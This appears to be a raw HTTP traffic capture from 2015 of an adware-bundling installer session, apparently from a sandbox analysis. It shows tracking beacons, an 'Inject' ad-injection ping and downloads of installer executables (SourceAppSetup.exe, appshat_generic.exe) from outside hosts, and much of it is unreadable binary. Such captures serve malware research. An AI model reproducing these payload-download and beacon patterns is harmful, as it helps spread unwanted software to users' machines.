(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==......I.
..{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k........
...k......].........Lo......~8...7.....;....u{....u}..!.........[.....
o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]..<<< skipped >>>

GET /thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/png

Content-Length: 30650

Last-Modified: Thu, 13 Jun 2013 17:47:25 GMT

Connection: keep-alive

ETag: "51ba05ad-77ba"

Expires: Tue, 24 Feb 2015 02:32:08 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:71D9E4DE6D23E211AAF983B2253A61DC" xmpMM:DocumentID="xmp.did:6893
0C164B6D11E29DDD9E92BE5DC8BE" xmpMM:InstanceID="xmp.iid:68930C154B6D11
E29DDD9E92BE5DC8BE" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B1100053694BE2118E0D
C678A406B0D7" stRef:documentID="xmp.did:71D9E4DE6D23E211AAF983B2253A61
DC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>......s.IDATx.......y..V.Y...R..n....1.,....a
.f.c.d.........Lr.x.....I2.87....'........`@..#...........V......>.
.-.Ru...TNw...........Z..%.}... ..K..g$..._..s......(h..<..y..9..s.
...._.../.`.......]...{......g#...~.!..L.......l.5..ky.\..............
..y~.........ks|.O..[..W.....C.....@!..1....T...g~C.>[email protected]
...U..~...C....0....JY..w...~N...K.h.....8.........2.Q..../..y. ......
.....2.9..~.....e.e.7@?..P..[..m..........z........m...6..$I.......|.@
.....Q....<u.......O?. .~N.f....[l...%$.....8S]~>.....#.z..]<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/png

Content-Length: 606635

Last-Modified: Thu, 13 Jun 2013 17:49:29 GMT

Connection: keep-alive

ETag: "51ba0629-941ab"

Expires: Tue, 24 Feb 2015 02:32:08 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sRGB.........gAMA......a.....pHYs
..........o.d....tEXtSoftware.Paint.NET v3.5.87;.]....IDATx^....%Yr...
.v..5^^......=.F..*]...:...Z..Z..].u.h.........}..TU7.|...$.I.m.'N.8..
}.r........}.~.w......T............k...[..?O).......3....Y..]...z.....
.v....}W........W>....W.sZ..e.....r.......u.z>.svz.....sry.s.8..
o..T...].~.......w..o.|.. ...c]....._....e.......1<.....y.....`.6..
......c.._r1........p......AJo.8.......).....go.E....../.<]z.g...?N
W_..t..?H...I:......?f..t...............$.z...?L...Qz.....8.r.........
.{......n...b....1...iz....[7^M..|-........Mo_z5}p.|z..........;......
s.............J.]?...r:.}.t.........c......>...z....|.~.>..w..'7
]..q.}....X'..q.Oc.A.!..b|..#................|..}ru...|y;}r..W.|e .?..
.~..........e.qe...9'.c|ry }...6.?....?...>.......u....].f~.....7..
O.18~L.|....).G...5|r.{z..r>.p..].M.]^.....\.2.l9.{z-.wn.....:?....
..>...:.N.O-...g.k...o..8...o.\.x.[<.....-..<.>.X.1~..^.:.
w.....ka......]..:....d...e......>..<g..G7y.7......3.Y|.......:]
.]>..p.^1........d..n....o......o..7.1.....d....47..&.....}-=r.....
...~...o6..........H........ p......b9.!..:...d.....t.....W.@  \.._...
.\.^P.w.... u.{A....@_...y.......W.~.. ..uy....{A..........{o ......Qs
.>.O.:<_...............j.,.<..g`.]al....K..A.....,....Vl.1..I
..')}.3...>..x....o.yz.._../.q....NO.........O..._.?]..~z.q..'..S..
.n}....^..x.....O}....^.../.z....c..0.^..n..!..S..7X...^J.>.1..k..[
O.wo..>x.j..[...[......;.X..%}..={.@9.>>.6...r~..?b|..YG.<<< skipped >>>

GET /thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/png

Content-Length: 317939

Last-Modified: Thu, 13 Jun 2013 17:01:07 GMT

Connection: keep-alive

ETag: "51b9fad3-4d9f3"

Expires: Tue, 24 Feb 2015 02:32:08 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /images/btn_bg.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/gif

Content-Length: 8476

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-211c"

Expires: Tue, 24 Feb 2015 02:32:08 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
GIF89a . .............................................................
......................................................................
.................................................................!..NE
TSCAPE2.0.....!.......,.... . .@[email protected]:].d.....Xla[.....@$.,..
T....G!.c>..#..p..0.yzk................#). ..........k..rwv&... ./$
/..._.B..}}..O\..(.O....'.O....e..N.....'..0.,....n..` #.(.#..........
&&.....tu..QH..P......-R1.. ..\,..."......@ ".. 9 .8.W..$...`L!I....H.
...f#S~h..Z"==...XP.....Z`......*[email protected]`.NCP'..&,. @..Y.yR%!..J..
Q....!.....3.,...... ......pH..D.M$......Pqx=..l........r-gc..P.y.He.R
.Q.8/7i......!!yn.........^ ......#j^......^.....(.^*...P.Q......R(...
.%.Q.....D......C...i.B.....3...................3..."..#........".'...
.,@....{.T .P'[email protected]......#...0.....2....$..*%.tya.L
2H(8&..Bg..1.Ji.b...-`.`.....".HP.....=3.....Q.<....!.......,......
 [email protected]....... .T...H..c........PmB..v..FL..Ta8......6.RD%...!w$k
.|]1.D....!.*.....!.E.I...#c../.D....M................S.....r.S....%.S
.....D.....'.R......C....b.B..""..."."..............R7" .....P....x..z
8!..B...$../...#Jp.."#..%.|[email protected]. ...3.)b..@....:.IP.T&..
G......S.F..tVA.P.6q...l...Z.....!.......,...... [email protected].%[email protected]
1`......}..Rb.....Z.......O.a.oBY.D.ns.D%.....vXK|.mm..C..II..........
}.32.B ......%a....&.C.....'.D.&2.......D'.D...........*..#..._.......
.."".N.......R..............=..'[email protected]<.P.B. .8D1b ...P$.
...B."I*......%.|.!a.B.)R.l....:..%..Ya....Vd......D."U.T^.....M..<<< skipped >>>

GET /images/close.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5; _ga=GA1.2.621826019.1424743347; _gat=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:08 GMT

Content-Type: image/png

Content-Length: 1200

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-4b0"

Expires: Tue, 24 Feb 2015 02:32:08 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR...............1R....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:75A8A812CEB911E2AE0AE7EB
A740C145" xmpMM:DocumentID="xmp.did:75A8A813CEB911E2AE0AE7EBA740C145"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75A8A810CEB911E2AE
0AE7EBA740C145" stRef:documentID="xmp.did:75A8A811CEB911E2AE0AE7EBA740
C145"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>he.....$IDATx.b455...`..|...EKK......%%%...
[email protected]..(.........Yrrr999.......r......f..q..U....
...~.....&..7o.........ijjN.4....X.srr..................WTT.:u..3gp...
......?xBA\\.........x.... 55u...@vLL..'O.\.@N<........c.g..r......
.1p..].......!By.PRR".G..*U.=..#[email protected]`.
..<<< skipped >>>

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:36 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 2015 02:01:36
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..
0..

GET /app/ping.ashx?e=M7A8vgjJHrj4MZomVx105VgUZ2tCcksvS9GCi10oLZ5P XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtA37FbUT3L5jr6dmpd8In99kSHjLnneUtzqkAeJCtlEnQsrZpPdA9jjPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjzMz0syfyzMd8ze3LFFF4GTIU2geBn6OPpl76kDGEz8baSkebcaIK z/UIp1kWEsTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x915iFE4945e4 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:24 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 02:01:24 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCJ/TkbZ2czqAdMPCqZ 81A7c 6Z9uWa7kH0QpZ Jj0 v3D2calArHLtc1NGfCEK5Hv7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TeRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhAH9x2JP35eH9jYXKPEn7E9qoqdLSvfaIv8pU7ch29iGLS92Fq5g8UGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2JrxF1AG2DerIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHRECc5dSqqUA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 02:01:25 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=k64GogClQtXdHJbbDm7BwGZ7lbP1mZCG3RDD4M2MKnlkNeKJ xgctdGdqHePycrYkgTqbaWGToUekaCddE1NLOgga322f3p0fD6sFy6LlDEeU1 iuCr9NrXfmMF1YJpfvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq27PG9jP dJwhfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1qRNOqwwuFyj0 0cMtGNyywAxYoVuMAV9tXCHiMucx6i2/WJ2G9upmyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VePJP/73oX7JAjsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9Bn2i9ceuXU1hfCqXqcp6BQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:30 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 02:01:30 GMT..Content-Length: 0..

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=PriceGong_DealPly HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583152

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...<<< skipped >>>

GET /pixel.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: shop.offerbox.com

DNT: 1

Connection: Keep-Alive

Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; eas_uid=1-1424743379338141106


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:00 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Last-Modified: Tue, 25 Jun 2013 12:59:28 GMT

ETag: "29479f-2b-4dffa19696c00"

Accept-Ranges: bytes

Content-Length: 43

Connection: close

Content-Type: image/gif

GIF89a.............!.......,...........L..;..

GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu4HQCg

Content-Length: 262

Date: Tue, 24 Feb 2015 02:01:25 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u
8wfPu4HQCg">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu
4HQCg..Content-Length: 262..Date: Tue, 24 Feb 2015 02:01:25 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.08..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu4HQCg">here<
;/A>...</BODY></HTML>....

GET /?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu4HQCg HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu4HQCg&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=137c079297855aa1:FF=0:TM=1424743285:LM=1424743285:S=3ExLAt1IKxhkwnl2; expires=Thu, 23-Feb-2017 02:01:25 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=PEBOFH8p8-cvmYqoDgW_zDb8s0Qu0b4eg7hzObz1-tgW4AgcNAdd0oqe8P4Ol_4fM5uyNasoz1FdCXdkA5WprOoK4rtK-RiUCsUXWj4HSewB5I9Oe90NRQHzO8Oa7u7v; expires=Wed, 26-Aug-2015 02:01:25 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Tue, 24 Feb 2015 02:01:25 GMT

Server: gws

Content-Length: 278

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-
u8wfPu4HQCg&gws_rd=ssl">here</A>...</BODY></HTML
>....

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: L1Z2YFhJ1jtGXVpFh01XEdp1AlaQFDQznSHttdwH9X1v27rij80M0Q==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
